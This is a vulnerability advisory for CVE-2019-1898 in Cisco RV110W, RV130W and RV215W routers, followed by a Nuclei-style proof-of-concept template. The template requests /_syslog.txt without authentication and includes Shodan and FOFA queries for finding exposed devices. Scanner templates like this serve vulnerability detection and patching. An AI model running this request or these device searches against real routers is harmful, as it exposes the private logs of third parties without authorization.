A vulnerability in the web-based management interface of Cisco RV110W, RV130W, and RV215W Routers could allow an unauthenticated, remote attacker to access the syslog file on an affected device. The vulnerability is due to improper authorization of an HTTP request. An attacker could exploit this vulnerability by accessing the URL for the syslog file. A successful exploit could allow the attacker to access the information contained in the file.
PoC代码[已公开]
id: CVE-2019-1898
info:
name: Cisco RV110W RV130W RV215W Router - Information leakage
author: SleepingBag945
severity: medium
description: |
A vulnerability in the web-based management interface of Cisco RV110W, RV130W, and RV215W Routers could allow an unauthenticated, remote attacker to access the syslog file on an affected device. The vulnerability is due to improper authorization of an HTTP request. An attacker could exploit this vulnerability by accessing the URL for the syslog file. A successful exploit could allow the attacker to access the information contained in the file.
impact: |
An attacker can exploit this vulnerability to gain sensitive information from the router.
remediation: |
Apply the latest firmware update provided by Cisco to fix the vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-1898
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190619-rv-fileaccess
- https://www.tenable.com/security/research/tra-2019-29
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2019-1898
cwe-id: CWE-425,CWE-285
epss-score: 0.73548
epss-percentile: 0.98767
cpe: cpe:2.3:o:cisco:rv110w_firmware:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: cisco
product: rv110w_firmware
shodan-query: http.favicon.hash:"-646322113"
fofa-query: icon_hash="-646322113"
tags: cve,cve2019,cisco,router,iot
http:
- method: POST
path:
- '{{BaseURL}}/_syslog.txt'
headers:
Content-Type: application/x-www-form-urlencoded
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(to_lower(body), "ethernet") && contains(to_lower(body), "connection")'
- 'contains(header, "application/octet-stream")'
condition: and
# digest: 4a0a00473045022100f8dbc21f9e599541d60042e702839175bba5a2bb994536ae778e721e9b2b85d50220783164cc22798942aade3f6152cc1c676378cfff0506e56edf8339bcb3bf3b4d:922c64590222798bb761d5b6d8e72950